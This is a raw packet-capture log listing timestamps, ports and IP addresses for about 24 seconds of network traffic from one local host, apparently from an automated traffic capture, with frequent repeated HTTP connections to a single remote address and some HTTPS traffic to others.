Jul 26, 2024 13:53:01.761926889 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:01.761967897 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:01.762268066 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:01.762655973 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:01.762672901 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:02.198559046 CEST	80	63513	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:02.198635101 CEST	63513	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:02.201684952 CEST	63513	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:02.201966047 CEST	63515	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:02.206770897 CEST	80	63515	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:02.206859112 CEST	63515	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:02.207036972 CEST	80	63513	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:02.207123041 CEST	63515	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:02.207168102 CEST	63513	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:02.212213039 CEST	80	63515	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:02.536277056 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:02.541410923 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:02.633862972 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:02.633968115 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:02.635533094 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:02.635541916 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:02.635744095 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:02.636900902 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:02.637648106 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:02.637701035 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:02.637705088 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:02.637799978 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:02.641756058 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:02.684501886 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:02.815862894 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:02.815956116 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:02.818821907 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:02.819005966 CEST	63514	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:53:02.819026947 CEST	443	63514	40.113.103.199	192.168.2.6
Jul 26, 2024 13:53:03.008522987 CEST	80	63515	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:03.008621931 CEST	63515	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.123946905 CEST	63515	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.124224901 CEST	63516	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.129065990 CEST	80	63516	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:03.129688025 CEST	80	63515	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:03.131422997 CEST	63515	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.131441116 CEST	63516	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.131748915 CEST	63516	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.136569977 CEST	80	63516	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:03.920066118 CEST	80	63516	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:03.920233965 CEST	63516	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.923109055 CEST	63516	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.923451900 CEST	63517	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.928802013 CEST	80	63517	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:03.929641962 CEST	80	63516	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:03.929653883 CEST	63517	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.929845095 CEST	63516	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.929857969 CEST	63517	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:03.935872078 CEST	80	63517	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:04.601352930 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:04.601389885 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:04.601667881 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:04.601927042 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:04.601939917 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:04.707720995 CEST	80	63517	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:04.707803011 CEST	63517	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:04.815577030 CEST	63517	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:04.815949917 CEST	63519	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:04.821003914 CEST	80	63519	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:04.821126938 CEST	63519	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:04.821270943 CEST	63519	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:04.829539061 CEST	80	63519	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:04.847668886 CEST	80	63517	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:04.847763062 CEST	63517	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:05.607040882 CEST	80	63519	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:05.607136011 CEST	63519	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:05.609808922 CEST	63519	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:05.610095024 CEST	63520	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:05.616238117 CEST	80	63520	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:05.616594076 CEST	63520	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:05.616668940 CEST	80	63519	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:05.616766930 CEST	63519	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:05.616879940 CEST	63520	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:05.621117115 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:05.621319056 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.621680021 CEST	80	63520	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:05.636986017 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.637007952 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:05.637430906 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:05.637573004 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.638066053 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.638135910 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.638155937 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:05.909540892 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:05.909662008 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.909672022 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:05.909708977 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.910060883 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:05.910131931 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:05.910180092 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.910212040 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.911375999 CEST	63518	443	192.168.2.6	20.189.173.27
Jul 26, 2024 13:53:05.911400080 CEST	443	63518	20.189.173.27	192.168.2.6
Jul 26, 2024 13:53:06.386069059 CEST	80	63520	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:06.386198044 CEST	63520	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:06.505866051 CEST	63520	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:06.506115913 CEST	63521	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:06.511359930 CEST	80	63520	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:06.511558056 CEST	63520	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:06.511996984 CEST	80	63521	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:06.512085915 CEST	63521	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:06.512262106 CEST	63521	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:06.517129898 CEST	80	63521	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:07.264781952 CEST	80	63521	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:07.265130997 CEST	63521	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:07.267714024 CEST	63521	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:07.268048048 CEST	63522	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:07.272778988 CEST	80	63522	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:07.272968054 CEST	63522	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:07.273025990 CEST	80	63521	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:07.273113012 CEST	63521	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:07.273256063 CEST	63522	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:07.278002977 CEST	80	63522	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:08.018605947 CEST	80	63522	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:08.018769979 CEST	63522	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:08.137084007 CEST	63522	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:08.137372971 CEST	63523	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:08.145086050 CEST	80	63523	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:08.145261049 CEST	80	63522	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:08.145365000 CEST	63522	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:08.145379066 CEST	63523	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:08.145668030 CEST	63523	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:08.152831078 CEST	80	63523	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:09.052664995 CEST	80	63523	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:09.052750111 CEST	63523	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.055835962 CEST	63523	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.056108952 CEST	63524	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.064910889 CEST	80	63524	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:09.065011024 CEST	63524	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.065247059 CEST	63524	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.069468975 CEST	80	63523	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:09.069557905 CEST	63523	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.072115898 CEST	80	63524	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:09.847901106 CEST	80	63524	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:09.848038912 CEST	63524	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.967964888 CEST	63524	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.968343019 CEST	63525	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.974508047 CEST	80	63525	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:09.974617958 CEST	63525	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.974699974 CEST	80	63524	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:09.974775076 CEST	63524	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.974865913 CEST	63525	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:09.983254910 CEST	80	63525	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:10.780359983 CEST	80	63525	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:10.780453920 CEST	63525	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:10.783613920 CEST	63525	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:10.783889055 CEST	63526	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:10.789818048 CEST	80	63526	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:10.789931059 CEST	63526	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:10.790136099 CEST	63526	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:10.792206049 CEST	80	63525	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:10.792282104 CEST	63525	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:10.795298100 CEST	80	63526	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:11.576606989 CEST	80	63526	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:11.576802969 CEST	63526	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:11.700098991 CEST	63526	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:11.700370073 CEST	63527	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:11.707382917 CEST	80	63527	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:11.707766056 CEST	63527	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:11.708065987 CEST	63527	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:11.712729931 CEST	80	63526	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:11.713005066 CEST	63526	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:11.713022947 CEST	80	63527	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:12.524965048 CEST	80	63527	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:12.525038004 CEST	63527	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:12.527781010 CEST	63527	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:12.528033972 CEST	63528	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:12.533474922 CEST	80	63528	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:12.533585072 CEST	63528	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:12.533834934 CEST	63528	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:12.535815001 CEST	80	63527	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:12.535897017 CEST	63527	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:12.539299011 CEST	80	63528	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:12.623223066 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:12.628251076 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:12.723952055 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:12.729283094 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:13.326884031 CEST	80	63528	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:13.328752041 CEST	63528	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:13.451752901 CEST	63528	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:13.452033043 CEST	63529	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:13.457163095 CEST	80	63529	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:13.457258940 CEST	63529	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:13.457480907 CEST	63529	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:13.457726955 CEST	80	63528	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:13.457937956 CEST	63528	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:13.462338924 CEST	80	63529	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:14.206949949 CEST	80	63529	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:14.207142115 CEST	63529	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:14.210346937 CEST	63529	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:14.210725069 CEST	63530	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:14.216291904 CEST	80	63529	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:14.216363907 CEST	63529	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:14.216542006 CEST	80	63530	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:14.216655970 CEST	63530	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:14.216852903 CEST	63530	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:14.221896887 CEST	80	63530	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:14.962872028 CEST	80	63530	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:14.964477062 CEST	63530	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.083523989 CEST	63530	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.083810091 CEST	63531	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.088821888 CEST	80	63531	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:15.089325905 CEST	80	63530	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:15.089452982 CEST	63530	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.089463949 CEST	63531	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.089904070 CEST	63531	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.094743967 CEST	80	63531	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:15.865915060 CEST	80	63531	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:15.866282940 CEST	63531	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.869982958 CEST	63532	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.869992971 CEST	63531	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.874955893 CEST	80	63532	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:15.875066042 CEST	63532	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.875304937 CEST	63532	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.875487089 CEST	80	63531	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:15.875554085 CEST	63531	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:15.880227089 CEST	80	63532	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:16.649295092 CEST	80	63532	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:16.649482965 CEST	63532	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:16.753612995 CEST	63532	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:16.753865004 CEST	63533	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:16.758754969 CEST	80	63533	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:16.758807898 CEST	63533	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:16.758913994 CEST	63533	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:16.759397984 CEST	80	63532	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:16.759465933 CEST	63532	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:16.763834000 CEST	80	63533	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:17.577522039 CEST	80	63533	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:17.577619076 CEST	63533	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:17.580822945 CEST	63533	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:17.581167936 CEST	63534	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:17.586036921 CEST	80	63534	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:17.586186886 CEST	63534	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:17.586406946 CEST	63534	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:17.589333057 CEST	80	63533	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:17.589579105 CEST	63533	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:17.592560053 CEST	80	63534	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:18.582062960 CEST	80	63534	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:18.582278967 CEST	63534	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:18.589955091 CEST	80	63534	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:18.590094090 CEST	63534	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:18.706083059 CEST	63534	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:18.706352949 CEST	63535	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:18.711338043 CEST	80	63535	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:18.711414099 CEST	63535	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:18.711610079 CEST	63535	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:18.711615086 CEST	80	63534	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:18.711741924 CEST	63534	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:18.716506958 CEST	80	63535	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:19.496757984 CEST	80	63535	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:19.498119116 CEST	63535	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:19.500528097 CEST	63535	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:19.500818968 CEST	63536	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:19.509890079 CEST	80	63535	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:19.510021925 CEST	63535	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:19.512310982 CEST	80	63536	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:19.512643099 CEST	63536	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:19.514714956 CEST	63536	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:19.519773006 CEST	80	63536	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:20.274965048 CEST	80	63536	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:20.275119066 CEST	63536	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:20.394604921 CEST	63536	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:20.394990921 CEST	63537	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:20.400685072 CEST	80	63536	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:20.400789022 CEST	63536	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:20.400876045 CEST	80	63537	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:20.401042938 CEST	63537	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:20.401235104 CEST	63537	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:20.406107903 CEST	80	63537	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:21.168555975 CEST	80	63537	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:21.169260979 CEST	63537	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:21.171436071 CEST	63537	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:21.171677113 CEST	63538	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:21.177562952 CEST	80	63538	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:21.177681923 CEST	80	63537	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:21.177704096 CEST	63538	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:21.177845955 CEST	63537	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:21.178569078 CEST	63538	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:21.184829950 CEST	80	63538	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:21.955843925 CEST	80	63538	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:21.955944061 CEST	63538	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:22.066138983 CEST	63538	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:22.066446066 CEST	63539	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:22.071326971 CEST	80	63539	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:22.071444988 CEST	63539	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:22.071683884 CEST	63539	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:22.071834087 CEST	80	63538	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:22.072050095 CEST	63538	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:22.077214003 CEST	80	63539	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:22.727161884 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:22.827877045 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:23.131988049 CEST	80	63539	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:23.132071972 CEST	63539	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:23.135025978 CEST	63539	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:23.135323048 CEST	63540	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:23.138847113 CEST	80	63539	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:23.138926029 CEST	63539	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:23.139008999 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:23.139650106 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:23.149216890 CEST	80	63540	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:23.149223089 CEST	80	63539	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:23.149315119 CEST	63539	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:23.149332047 CEST	63540	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:23.149585009 CEST	63540	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:23.154563904 CEST	80	63540	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:23.928452969 CEST	80	63540	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:23.928630114 CEST	63540	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.037575960 CEST	63540	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.038160086 CEST	63541	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.043857098 CEST	80	63541	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:24.044153929 CEST	63541	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.044259071 CEST	63541	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.044408083 CEST	80	63540	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:24.044496059 CEST	63540	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.049083948 CEST	80	63541	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:24.827820063 CEST	80	63541	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:24.827908993 CEST	63541	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.831075907 CEST	63541	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.831393003 CEST	63542	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.838414907 CEST	80	63542	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:24.838910103 CEST	63542	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.839155912 CEST	63542	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:24.846122026 CEST	80	63542	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:24.863394022 CEST	80	63541	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:24.863662004 CEST	63541	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:25.654472113 CEST	80	63542	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:25.654571056 CEST	63542	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:25.768975973 CEST	63542	80	192.168.2.6	185.215.113.19
